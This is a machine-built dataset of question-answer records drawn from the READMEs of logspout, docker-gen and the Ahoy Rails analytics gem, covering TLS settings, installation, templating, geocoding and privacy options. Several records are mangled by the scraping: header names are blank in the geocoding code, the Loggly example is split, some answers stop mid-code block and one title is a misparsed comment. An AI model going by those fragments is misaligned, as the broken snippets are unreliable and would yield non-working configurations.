{"id": "gh_ef95d079de68", "question": "How to: TLS Settings", "question_body": "About gliderlabs/logspout", "answer": "logspout supports modification of the client TLS settings via environment variables described below:\n\n| Environment Variable  | Description |\n| :---                  |  :---       |\n| `LOGSPOUT_TLS_DISABLE_SYSTEM_ROOTS` | when set to `true` it disables loading the system trust store into the trust store of logspout |\n| `LOGSPOUT_TLS_CA_CERTS` | a comma separated list of filesystem paths to pem encoded CA certificates that should be added to logspout's TLS trust store. Each pem file can contain more than one certificate |\n| `LOGSPOUT_TLS_CLIENT_CERT` | filesystem path to pem encoded x509 client certificate to load when TLS mutual authentication is desired |\n| `LOGSPOUT_TLS_CLIENT_KEY` | filesystem path to pem encoded client private key to load when TLS mutual authentication is desired |\n| `LOGSPOUT_TLS_HARDENING` | when set to `true` it enables stricter client TLS settings designed to mitigate some known TLS vulnerabilities |\n\n#### Example TLS settings\nThe following settings cover some common use cases.\nWhen running docker, use the `-e` flag to supply environment variables\n\n**add your own CAs to the list of trusted authorities**\n```\nexport LOGSPOUT_TLS_CA_CERTS=\"/opt/tls/ca/myRootCA1.pem,/opt/tls/ca/myRootCA2.pem\"\n```\n\n**force logspout to ONLY trust your own CA**\n```\nexport LOGSPOUT_TLS_DISABLE_SYSTEM_ROOTS=true\nexport LOGSPOUT_TLS_CA_CERTS=\"/opt/tls/ca/myRootCA1.pem\"\n```\n\n**configure client authentication**\n```\nexport LOGSPOUT_TLS_CLIENT_CERT=\"/opt/tls/client/myClient.pem\"\nexport LOGSPOUT_TLS_CLIENT_KEY=\"/opt/tls/client/myClient-key.pem\"\n```\n\n**highest possible security settings (paranoid mode)**\n```\nexport LOGSPOUT_TLS_DISABLE_SYSTEM_ROOTS=true\nexport LOGSPOUT_TLS_HARDENING=true\nexport LOGSPOUT_TLS_CA_CERTS=\"/opt/tls/ca/myRootCA1.pem\"\nexport LOGSPOUT_TLS_CLIENT_CERT=\"/opt/tls/client/myClient.pem\"\nexport LOGSPOUT_TLS_CLIENT_KEY=\"/opt/tls/client/myClient-key.pem\"\n```", "tags": ["gliderlabs"], "source": "github_gists", "category": "gliderlabs", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4697, "answer_score": 10, "has_code": true, "url": "https://github.com/gliderlabs/logspout", "collected_at": "2026-01-17T13:02:45.393564"}
{"id": "gh_bcdad2407106", "question": "How to: Builtin modules", "question_body": "About gliderlabs/logspout", "answer": "* adapters/raw\n * adapters/syslog\n * transports/tcp\n * transports/tls\n * transports/udp\n * httpstream\n * routesapi", "tags": ["gliderlabs"], "source": "github_gists", "category": "gliderlabs", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4697, "answer_score": 10, "has_code": false, "url": "https://github.com/gliderlabs/logspout", "collected_at": "2026-01-17T13:02:45.393571"}
{"id": "gh_981f31c21639", "question": "How to: Third-party modules", "question_body": "About gliderlabs/logspout", "answer": "* [logspout-kafka](https://github.com/dylanmei/logspout-kafka)\n * logspout-redis...\n * [logspout-logstash](https://github.com/looplab/logspout-logstash)\n * [logspout-redis-logstash](https://github.com/rtoma/logspout-redis-logstash)\n * [logspout-gelf](https://github.com/micahhausler/logspout-gelf) for Graylog\n * [logspout-fluentd](https://github.com/dsouzajude/logspout-fluentd) for fluentd or fluent-bit - instead of using fluentd log driver\n * [logspout-slack](https://github.com/kalisio/logspout-slack) for [Slack](https://slack.com/) notifications", "tags": ["gliderlabs"], "source": "github_gists", "category": "gliderlabs", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4697, "answer_score": 10, "has_code": false, "url": "https://github.com/gliderlabs/logspout", "collected_at": "2026-01-17T13:02:45.393578"}
{"id": "gh_29c1ceb9dd6d", "question": "How to: Loggly support", "question_body": "About gliderlabs/logspout", "answer": "Use logspout to stream your docker logs to Loggly via the [Loggly syslog endpoint](https://www.loggly.com/docs/streaming-syslog-without-using-files/).\n```\n$ docker run --name logspout -d --volume=/var/run/docker.sock:/var/run/docker.sock \\\n    -e SYSLOG_STRUCTURED_DATA=\"\n@41058 tag=\\\"some tag name\\\"\" \\\n    gliderlabs/logspout \\\n    syslog+tcp://logs-01.loggly.com:514\n```", "tags": ["gliderlabs"], "source": "github_gists", "category": "gliderlabs", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4697, "answer_score": 10, "has_code": true, "url": "https://github.com/gliderlabs/logspout", "collected_at": "2026-01-17T13:02:45.393584"}
{"id": "gh_534997cc5264", "question": "How to: Contributing", "question_body": "About gliderlabs/logspout", "answer": "As usual, pull requests are welcome. You can also propose releases by opening a PR against the `release` branch from `master`. Please be sure to bump the version and update `CHANGELOG.md` and include your changelog text in the PR body.\n\nDiscuss logspout development with us on Freenode in `#gliderlabs`.", "tags": ["gliderlabs"], "source": "github_gists", "category": "gliderlabs", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 4697, "answer_score": 10, "has_code": false, "url": "https://github.com/gliderlabs/logspout", "collected_at": "2026-01-17T13:02:45.393590"}
{"id": "gh_5bc8e1417260", "question": "How to: Installation", "question_body": "About nginx-proxy/docker-gen", "answer": "There are three common ways to run docker-gen:\n\n- on the host\n- bundled in a container with another application\n- separate standalone containers\n\n#### Host Install\n\nDownload the version you need, untar, and install to your PATH.\n\n```console\nwget https://github.com/nginx-proxy/docker-gen/releases/download/0.16.0/docker-gen-linux-amd64-0.16.0.tar.gz\ntar xvzf docker-gen-linux-amd64-0.16.0.tar.gz\n./docker-gen\n```\n\n#### Bundled Container Install\n\nDocker-gen can be bundled inside of a container along-side applications.\n\n[nginx-proxy/nginx-proxy](https://hub.docker.com/r/nginxproxy/nginx-proxy) trusted build is an example of\nrunning docker-gen within a container along-side nginx.\n[jwilder/docker-register](https://github.com/jwilder/docker-register) is an example of running\ndocker-gen within a container to do service registration with etcd.\n\n#### Separate Container Install\n\nIt can also be run as two separate containers using the [nginx-proxy/docker-gen](https://hub.docker.com/r/nginxproxy/docker-gen)\nimage, together with virtually any other image.\n\nThis is how you could run the official [nginx](https://registry.hub.docker.com/_/nginx/) image and\nhave docker-gen generate a reverse proxy config in the same way that `nginx-proxy` works. You may want to do\nthis to prevent having the docker socket bound to a publicly exposed container service.\n\nStart nginx with a shared volume:\n\n```console\ndocker run -d -p 80:80 --name nginx -v /tmp/nginx:/etc/nginx/conf.d -t nginx\n```\n\nFetch the template and start the docker-gen container with the shared volume:\n\n```console\nmkdir -p /tmp/templates && cd /tmp/templates\ncurl -o nginx.tmpl https://raw.githubusercontent.com/nginx-proxy/docker-gen/main/templates/nginx.tmpl\ndocker run -d --name nginx-gen --volumes-from nginx \\\n   -v /var/run/docker.sock:/tmp/docker.sock:rw \\\n   -v /tmp/templates:/etc/docker-gen/templates \\\n   -t nginxproxy/docker-gen -notify-sighup nginx -watch -only-exposed /etc/docker-gen/templates/nginx.tmpl /etc/nginx/conf.d/default.conf\n```\n\nStart a container, taking note of any Environment variables a container expects. See the top of a template for details.\n\n```console\ndocker run --env VIRTUAL_HOST='example.com' --env VIRTUAL_PORT=80 ...\n```\n\n---", "tags": ["nginx-proxy"], "source": "github_gists", "category": "nginx-proxy", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4609, "answer_score": 10, "has_code": true, "url": "https://github.com/nginx-proxy/docker-gen", "collected_at": "2026-01-17T13:02:47.402790"}
{"id": "gh_75ce8d79102e", "question": "How to: Configuration file", "question_body": "About nginx-proxy/docker-gen", "answer": "Using the -config flag from above you can tell docker-gen to use the specified config file instead of command-line options. Multiple templates can be defined and they will be executed in the order that they appear in the config file.\n\nAn example configuration file, **docker-gen.cfg** can be found in the examples folder.\n\n#### Configuration File Syntax\n\n```ini\n[[config]]", "tags": ["nginx-proxy"], "source": "github_gists", "category": "nginx-proxy", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4609, "answer_score": 10, "has_code": true, "url": "https://github.com/nginx-proxy/docker-gen", "collected_at": "2026-01-17T13:02:47.402816"}
{"id": "gh_7ed7b2e287c4", "question": "How to: or the container id can be used followed by the signal to send", "question_body": "About nginx-proxy/docker-gen", "answer": "```\n\nPutting it all together here is an example configuration file.\n\n```ini\n[[config]]\ntemplate = \"/etc/nginx/nginx.conf.tmpl\"\ndest = \"/etc/nginx/sites-available/default\"\nonlyexposed = true\nnotifycmd = \"/etc/init.d/nginx reload\"\n\n[[config]]\ntemplate = \"/etc/logrotate.conf.tmpl\"\ndest = \"/etc/logrotate.d/docker\"\nwatch = true\n\n[[config]]\ntemplate = \"/etc/docker-gen/templates/nginx.tmpl\"\ndest = \"/etc/nginx/conf.d/default.conf\"\nwatch = true\nwait = \"500ms:2s\"\n\n[config.NotifyContainers]\nnginx = 1  # 1 is a signal number to be sent; here SIGHUP\ne75a60548dc9 = 1  # a key can be either container name (nginx) or ID\n```\n\n---", "tags": ["nginx-proxy"], "source": "github_gists", "category": "nginx-proxy", "difficulty": "intermediate", "quality_score": 0.98, "question_score": 4609, "answer_score": 10, "has_code": true, "url": "https://github.com/nginx-proxy/docker-gen", "collected_at": "2026-01-17T13:02:47.402829"}
{"id": "gh_b173f08860bb", "question": "How to: Templating", "question_body": "About nginx-proxy/docker-gen", "answer": "The templates used by docker-gen are written using the Go [text/template](http://golang.org/pkg/text/template/) language. In addition to the [built-in functions](http://golang.org/pkg/text/template/#hdr-Functions) supplied by Go, docker-gen uses [sprig](https://masterminds.github.io/sprig/) and some additional functions to make it simpler (or possible) to generate your desired output. Some templates rely on environment variables within the container to make decisions on what to generate from the template.\n\nSeveral templates may be parsed at once by using a semicolon (`;`) to delimit the `template` value. This can be used as a proxy for Golang's nested template functionality. In all cases, the main rendered template should go first.\n\n```\n[[config]]\ntemplate = \"/etc/docker-gen/templates/nginx.tmpl;/etc/docker-gen/templates/header.tmpl\"\ndest = \"/etc/nginx/conf.d/default.conf\"\nwatch = true\nwait = \"500ms:2s\"\n```\n\n#### Emit Structure\n\nWithin the templates, the object emitted by docker-gen will be a structure consisting of following Go structs:\n\n```go\ntype RuntimeContainer struct {\n    ID           string\n    Created      time.Time\n    Addresses    []Address\n    Networks     []Network\n    Gateway      string\n    Name         string\n    Hostname     string\n    Image        DockerImage\n    Env          map[string]string\n    Volumes      map[string]Volume\n    Node         SwarmNode\n    Labels       map[string]string\n    IP           string\n    IP6LinkLocal string\n    IP6Global    string\n    Mounts       []Mount\n    State        State\n}\n\ntype Address struct {\n    IP           string\n    IP6LinkLocal string\n    IP6Global    string\n    Port         string\n    HostPort     string\n    Proto        string\n    HostIP       string\n}\n\ntype Network struct {\n    IP                  string\n    Name                string\n    Gateway             string\n    EndpointID          string\n    IPv6Gateway         string\n    GlobalIPv6Address   string\n    MacAddress          string\n    GlobalIPv6PrefixLen int\n    IPPrefixLen         int\n    Internal            bool\n}\n\ntype DockerImage struct {\n    Registry   string\n    Repository string\n    Tag        string\n}\n\ntype Mount struct {\n  Name        string\n  Source      string\n  Destination string\n  Driver      string\n  Mode        string\n  RW          bool\n}\n\ntype Volume struct {\n    Path      string\n    HostPath  string\n    ReadWrite bool\n}\n\ntype SwarmNode struct {\n    ID      string\n    Name    string\n    Address Address\n}\n\ntype State struct {\n\tRunning bool\n\tHealth  Health\n}\n\ntype Health struct {\n\tStatus string\n}\n\n// Accessible from the root in templates as .Docker\ntype Docker struct {\n    Name                 string\n    NumContainers        int\n    NumImages            int\n    Version              string\n    ApiVersion           string\n    GoVersion            string\n    OperatingSystem      string\n    Architecture         string\n    CurrentContainerID   string\n}\n\n// Host environment variables accessible from root in templates as .Env\n```\n\nFor example, this is a JSON version of an emitted RuntimeContainer struct:\n\n```json\n{\n  \"ID\": \"71e9768075836eb38557adcfc71a207386a0c597dbeda240cf905df79b18cebf\",\n  \"Addresses\": [\n    {\n      \"IP\": \"172.17.0.4\",\n      \"Port\": \"22\",\n      \"Proto\": \"tcp\",\n      \"HostIP\": \"192.168.10.24\",\n      \"HostPort\": \"2222\"\n    }\n  ],\n  \"Gateway\": \"172.17.42.1\",\n  \"Node\": {\n    \"ID\": \"I2VY:P7PF:TZD5:PGWB:QTI7:QDSP:C5UD:DYKR:XKKK:TRG2:M2BL:DFUN\",\n    \"Name\": \"docker-test\",\n    \"Address\": {\n      \"IP\": \"192.168.10.24\"\n    }\n  },\n  \"Labels\": {\n    \"operatingsystem\": \"Ubuntu 14.04.2 LTS\",\n    \"storagedriver\": \"devicemapper\",\n    \"anything_foo\": \"something_bar\"\n  },\n  \"IP\": \"172.17.0.4\",\n  \"Name\": \"docker_register\",\n  \"Hostname\": \"71e976807583\",\n  \"Image\": {\n    \"Registry\": \"jwilder\",\n    \"Repository\": \"docker-register\"\n  },\n  \"Env\": {\n    \"ETCD_HOST\": \"172.17.42.1:4001\",\n    \"PATH\": \"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\",\n    \"DOCKER_HOST\": \"unix:///var/run/docker.sock\",\n    \"HOST_IP\": \"172.17.42.1\"\n  },\n  \"Volumes\": {\n    \"/mnt\": {\n      \"Path\": \"/mnt\",\n      \"HostPath\": \"/Users/joebob/tmp\",\n      \"ReadWrite\": true\n    }\n  }\n}\n```\n\n#### Functions\n\n- [Functions from Go](https://pkg.go.dev/text/template#hdr-Functions)\n- [Functions from Sprig v3](https://masterminds.github.io/sprig/), except for those that have the same name as one of the following functions.\n- _`closest $array $value`_: Returns the longest matching substring in `$array` that matches `$value`\n- _`coalesce ...`_: Returns the first non-nil argument.\n- _`comment $delimiter $string`_: Returns `$string` with each line prefixed by `$delimiter` (helpful for debugging combined with Sprig `toPrettyJson`: `{{ toPrettyJson $ | comment \"#\" }}`).\n- _`contains $map $key`_: Returns `true` if `$map` contains `$key`. Takes maps from `string` to any type.\n- _`dir $path`_: Returns an array of filenames in the specified `$path`.\n- _`exists $path`_: Returns `true` if `$path` refers to an existing file or", "tags": ["nginx-proxy"], "source": "github_gists", "category": "nginx-proxy", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4609, "answer_score": 10, "has_code": true, "url": "https://github.com/nginx-proxy/docker-gen", "collected_at": "2026-01-17T13:02:47.402861"}
{"id": "gh_909a2865a501", "question": "How to: Development", "question_body": "About nginx-proxy/docker-gen", "answer": "This project uses [Go Modules](https://golang.org/ref/mod) for managing 3rd party dependencies.\nThis means that at least `go 1.11` is required.\n\nFor `go 1.11` and `go 1.12` it is additionally required to manually enable support by setting `GO111MODULE=on`.\nFor later versions, this is not required.\n\n```console\ngit clone\ncd\nmake get-deps\nmake\n```", "tags": ["nginx-proxy"], "source": "github_gists", "category": "nginx-proxy", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4609, "answer_score": 10, "has_code": true, "url": "https://github.com/nginx-proxy/docker-gen", "collected_at": "2026-01-17T13:02:47.402873"}
{"id": "gh_15780b008be0", "question": "How to: Powered by", "question_body": "About nginx-proxy/docker-gen", "answer": "[![GoLand logo](https://resources.jetbrains.com/storage/products/company/brand/logos/GoLand_icon.svg)](https://www.jetbrains.com/go/)", "tags": ["nginx-proxy"], "source": "github_gists", "category": "nginx-proxy", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4609, "answer_score": 10, "has_code": false, "url": "https://github.com/nginx-proxy/docker-gen", "collected_at": "2026-01-17T13:02:47.402879"}
{"id": "gh_c79f704f9472", "question": "How to: Installation", "question_body": "About ankane/ahoy", "answer": "Add this line to your application’s Gemfile:\n\n```ruby\ngem \"ahoy_matey\"\n```\n\nAnd run:\n\n```sh\nbundle install\nrails generate ahoy:install\nrails db:migrate\n```\n\nRestart your web server, open a page in your browser, and a visit will be created :tada:\n\nTrack your first event from a controller with:\n\n```ruby\nahoy.track \"My first event\", language: \"Ruby\"\n```", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.387937"}
{"id": "gh_daba7787a1a2", "question": "How to: JavaScript, Native Apps, & AMP", "question_body": "About ankane/ahoy", "answer": "Enable the API in `config/initializers/ahoy.rb`:\n\n```ruby\nAhoy.api = true\n```\n\nAnd restart your web server.", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.387953"}
{"id": "gh_d8aa1b4d0f37", "question": "How to: JavaScript", "question_body": "About ankane/ahoy", "answer": "For Importmap (Rails 7+ default), add to `config/importmap.rb`:\n\n```ruby\npin \"ahoy\", to: \"ahoy.js\"\n```\n\nAnd add to `app/javascript/application.js`:\n\n```javascript\nimport \"ahoy\"\n```\n\nFor Bun, esbuild, rollup.js, or Webpack, run:\n\n```sh\nbun add ahoy.js", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.387961"}
{"id": "gh_4fd9c566d451", "question": "How to: Native Apps", "question_body": "About ankane/ahoy", "answer": "Check out [Ahoy iOS](https://github.com/namolnad/ahoy-ios) and [Ahoy Android](https://github.com/instacart/ahoy-android).", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4425, "answer_score": 10, "has_code": false, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.387969"}
{"id": "gh_04a06712ef2b", "question": "How to: Geocoding Setup", "question_body": "About ankane/ahoy", "answer": "To enable geocoding, see the [Geocoding section](#geocoding).", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4425, "answer_score": 10, "has_code": false, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.387974"}
{"id": "gh_4ff0d3db6b8c", "question": "How to: GDPR Compliance", "question_body": "About ankane/ahoy", "answer": "Ahoy provides a number of options to help with GDPR compliance. See the [GDPR section](#gdpr-compliance-1) for more info.", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4425, "answer_score": 10, "has_code": false, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.387979"}
{"id": "gh_52b25f75ec84", "question": "How to: Associated Models", "question_body": "About ankane/ahoy", "answer": "Say we want to associate orders with visits. Just add `visitable` to the model.\n\n```ruby\nclass Order < ApplicationRecord\n  visitable :ahoy_visit\nend\n```\n\nWhen a visitor places an order, the `ahoy_visit_id` column is automatically set :tada:\n\nSee where orders are coming from with simple joins:\n\n```ruby\nOrder.joins(:ahoy_visit).group(\"referring_domain\").count\nOrder.joins(:ahoy_visit).group(\"city\").count\nOrder.joins(:ahoy_visit).group(\"device_type\").count\n```\n\nHere’s what the migration to add the `ahoy_visit_id` column should look like:\n\n```ruby\nclass AddAhoyVisitToOrders < ActiveRecord::Migration[8.1]\n  def change\n    add_reference :orders, :ahoy_visit\n  end\nend\n```\n\nCustomize the column with:\n\n```ruby\nvisitable :sign_up_visit\n```", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.387997"}
{"id": "gh_f4ed69938a83", "question": "How to: Exclusions", "question_body": "About ankane/ahoy", "answer": "Bots are excluded from tracking by default. To include them, use:\n\n```ruby\nAhoy.track_bots = true\n```\n\nAdd your own rules with:\n\n```ruby\nAhoy.exclude_method = lambda do |controller, request|\n  request.ip == \"192.168.1.1\"\nend\n```", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.388006"}
{"id": "gh_d3a27c3317f3", "question": "How to: Visit Duration", "question_body": "About ankane/ahoy", "answer": "By default, a new visit is created after 4 hours of inactivity. Change this with:\n\n```ruby\nAhoy.visit_duration = 30.minutes\n```", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.388012"}
{"id": "gh_4535e4bd0347", "question": "How to: Visitor Duration", "question_body": "About ankane/ahoy", "answer": "By default, a new `visitor_token` is generated after 2 years. Change this with:\n\n```ruby\nAhoy.visitor_duration = 30.days\n```", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.388017"}
{"id": "gh_1b608e24e230", "question": "How to: Token Generation", "question_body": "About ankane/ahoy", "answer": "Ahoy uses random UUIDs for visit and visitor tokens by default, but you can use your own generator like [ULID](https://github.com/rafaelsales/ulid).\n\n```ruby\nAhoy.token_generator = -> { ULID.generate }\n```", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.388023"}
{"id": "gh_e168441da0a2", "question": "How to: Throttling", "question_body": "About ankane/ahoy", "answer": "You can use [Rack::Attack](https://github.com/rack/rack-attack) to throttle requests to the API.\n\n```ruby\nclass Rack::Attack\n  throttle(\"ahoy/ip\", limit: 20, period: 1.minute) do |req|\n    if req.path.start_with?(\"/ahoy/\")\n      req.ip\n    end\n  end\nend\n```", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.388029"}
{"id": "gh_1a22483e396b", "question": "How to: Exceptions", "question_body": "About ankane/ahoy", "answer": "Exceptions are rescued so analytics do not break your app. Ahoy uses [Safely](https://github.com/ankane/safely) to try to report them to a service by default. To customize this, use:\n\n```ruby\nSafely.report_exception_method = ->(e) { Rollbar.error(e) }\n```", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.388034"}
{"id": "gh_afe2181a761d", "question": "How to: Local Geocoding", "question_body": "About ankane/ahoy", "answer": "For privacy and performance, we recommend geocoding locally.\n\nFor city-level geocoding, download the [GeoLite2 City database](https://dev.maxmind.com/geoip/geolite2-free-geolocation-data).\n\nAdd this line to your application’s Gemfile:\n\n```ruby\ngem \"maxminddb\"\n```\n\nAnd create `config/initializers/geocoder.rb` with:\n\n```ruby\nGeocoder.configure(\n  ip_lookup: :geoip2,\n  geoip2: {\n    file: \"path/to/GeoLite2-City.mmdb\"\n  }\n)\n```\n\nFor country-level geocoding, install the `geoip-database` package. It’s preinstalled on Heroku. For Ubuntu, use:\n\n```sh\nsudo apt-get install geoip-database\n```\n\nAdd this line to your application’s Gemfile:\n\n```ruby\ngem \"geoip\"\n```\n\nAnd create `config/initializers/geocoder.rb` with:\n\n```ruby\nGeocoder.configure(\n  ip_lookup: :maxmind_local,\n  maxmind_local: {\n    file: \"/usr/share/GeoIP/GeoIP.dat\",\n    package: :country\n  }\n)\n```", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.388047"}
{"id": "gh_a71892d649da", "question": "How to: Load Balancer Geocoding", "question_body": "About ankane/ahoy", "answer": "Some load balancers can add geocoding information to request headers.\n\n- [nginx](https://nginx.org/en/docs/http/ngx_http_geoip_module.html)\n- [Google Cloud](https://cloud.google.com/load-balancing/docs/custom-headers)\n- [Cloudflare](https://support.cloudflare.com/hc/en-us/articles/200168236-Configuring-Cloudflare-IP-Geolocation)\n\nUpdate `config/initializers/ahoy.rb` with:\n\n```ruby\nAhoy.geocode = false\n\nclass Ahoy::Store < Ahoy::DatabaseStore\n  def track_visit(data)\n    data[:country] = request.headers[\"\n\"]\n    data[:region] = request.headers[\"\n\"]\n    data[:city] = request.headers[\"\n\"]\n    super(data)\n  end\nend\n```", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.388055"}
{"id": "gh_e155a44d127a", "question": "How to: IP Masking", "question_body": "About ankane/ahoy", "answer": "Ahoy can mask IPs with the same approach [Google Analytics uses for IP anonymization](https://support.google.com/analytics/answer/2763052). This means:\n\n- For IPv4, the last octet is set to 0 (`8.8.4.4` becomes `8.8.4.0`)\n- For IPv6, the last 80 bits are set to zeros (`2001:4860:4860:0:0:0:0:8844` becomes `2001:4860:4860::`)\n\n```ruby\nAhoy.mask_ips = true\n```\n\nIPs are masked before geolocation is performed.\n\nTo mask previously collected IPs, use:\n\n```ruby\nAhoy::Visit.find_each do |visit|\n  visit.update_column :ip, Ahoy.mask_ip(visit.ip)\nend\n```", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.388069"}
{"id": "gh_f1fae1553567", "question": "How to: Anonymity Sets & Cookies", "question_body": "About ankane/ahoy", "answer": "Ahoy can switch from cookies to [anonymity sets](https://privacypatterns.org/patterns/Anonymity-set). Instead of cookies, visitors with the same IP mask and user agent are grouped together in an anonymity set.\n\n```ruby\nAhoy.cookies = :none\n```\n\nNote: If Ahoy was installed before v5, [add an index](https://github.com/ankane/ahoy/tree/v5.0.0?tab=readme-ov-file#50) before making this change.\n\nPreviously set cookies are automatically deleted. If you use JavaScript tracking, also set:\n\n```javascript\nahoy.configure({cookies: false});\n```", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.388075"}
{"id": "gh_7d8ff7c76a1c", "question": "How to: Data Retention", "question_body": "About ankane/ahoy", "answer": "Data should only be retained for as long as it’s needed. Delete older data with:\n\n```ruby\nAhoy::Visit.where(\"started_at < ?\", 2.years.ago).find_in_batches do |visits|\n  visit_ids = visits.map(&:id)\n  Ahoy::Event.where(visit_id: visit_ids).delete_all\n  Ahoy::Visit.where(id: visit_ids).delete_all\nend\n```\n\nYou can use [Rollup](https://github.com/ankane/rollup) to aggregate important data before you do.\n\n```ruby\nAhoy::Visit.rollup(\"Visits\", interval: \"hour\")\n```\n\nDelete data for a specific user with:\n\n```ruby\nuser_id = 123\nvisit_ids = Ahoy::Visit.where(user_id: user_id).pluck(:id)\nAhoy::Event.where(visit_id: visit_ids).delete_all\nAhoy::Visit.where(id: visit_ids).delete_all\nAhoy::Event.where(user_id: user_id).delete_all\n```", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.388084"}
{"id": "gh_3b3037f80d5e", "question": "How to: Development", "question_body": "About ankane/ahoy", "answer": "Ahoy is built with developers in mind. You can run the following code in your browser’s console.\n\nForce a new visit\n\n```javascript\nahoy.reset(); // then reload the page\n```\n\nLog messages\n\n```javascript\nahoy.debug();\n```\n\nTurn off logging\n\n```javascript\nahoy.debug(false);\n```\n\nDebug API requests in Ruby\n\n```ruby\nAhoy.quiet = false\n```", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.388092"}
{"id": "gh_447c38fe538f", "question": "How to: Track Additional Data", "question_body": "About ankane/ahoy", "answer": "```ruby\nclass Ahoy::Store < Ahoy::DatabaseStore\n  def track_visit(data)\n    data[:accept_language] = request.headers[\"Accept-Language\"]\n    super(data)\n  end\nend\n```\n\nTwo useful methods you can use are `request` and `controller`.\n\nYou can pass additional visit data from JavaScript with:\n\n```javascript\nahoy.configure({visitParams: {referral_code: 123}});\n```\n\nAnd use:\n\n```ruby\nclass Ahoy::Store < Ahoy::DatabaseStore\n  def track_visit(data)\n    data[:referral_code] = request.parameters[:referral_code]\n    super(data)\n  end\nend\n```", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.388108"}
{"id": "gh_db12f641b0e6", "question": "How to: Use Different Models", "question_body": "About ankane/ahoy", "answer": "```ruby\nclass Ahoy::Store < Ahoy::DatabaseStore\n  def visit_model\n    MyVisit\n  end\n\n  def event_model\n    MyEvent\n  end\nend\n```", "tags": ["ankane"], "source": "github_gists", "category": "ankane", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4425, "answer_score": 10, "has_code": true, "url": "https://github.com/ankane/ahoy", "collected_at": "2026-01-17T13:02:49.388113"}
